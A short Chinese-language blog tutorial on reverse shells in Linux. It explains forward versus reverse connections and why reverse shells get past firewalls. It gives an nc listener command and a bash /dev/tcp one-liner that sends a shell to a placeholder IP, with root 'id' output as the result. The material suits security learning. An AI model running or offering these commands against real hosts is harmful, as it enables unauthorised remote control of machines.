反弹shell

反弹shell

Linux系统环境

什么是反弹shell

反弹Shell是一种网络攻击技术,用于通过远程主机上的Shell(命令行终端)与攻击者建立连接,从而控制受攻击主机。攻击者通常在受攻击主机上以各种方式植入恶意代码(如后门程序),然后通过网络与该主机上运行的Shell建立反向连接,从而获得对该主机的完全控制权。

攻击者监听端口(TCP/UDP),被攻击端发送请求到该端口,并且 被控端的命令行的 输入输出 也被转到控制端

也就是 控制其他主机 能够实现输入输出命令

正向连接

攻击者打开其他主机的端口,此时攻击者从自己的机器去连接目标机器叫做正向连接

反向连接

是被控主机反向去连接攻击的主机的过程

(反向连接可以突破防火墙屏蔽及权限不足的的限制)

什么时候用反弹shell

当被控端 防火墙受限,权限不足,端口被占登情况 导致攻击者无法对被控端进行直接控制

反弹类型

bash命令反弹shell,nc反弹shell,python反弹shell

服务端

nc命令开启监听端口

nc -lvp 8080	#在本地监听8080端口 等待来自远程主机的链接请求

客户端

通过某种手段 使被控端 执行以下的命令

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1

交互式运行bash shell命令,重定向到IP地址为xxx.xxx.xxx.xxx的计算机上的端口8080

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

bash -i 参数表示以交互式方式运行Bash Shell并加载当前目录下的bashrc文件(如果存在)

>& /dev/tcp/xx.xx.xx.xx/4578 重定向了输出和错误输出到远程计算机的端口8080

0>&1 输入重定向到输出,实现与反弹shell的交互

结果

当客户端执行命令后服务端会有反显,后就可以执行shell命令了,执行id命令返回结果

# id
uid=0(root) gid=0(root) groups=0(root)
posted @ 2024-09-07 09:40  Yolololololo  阅读(209)  评论(0编辑  收藏  举报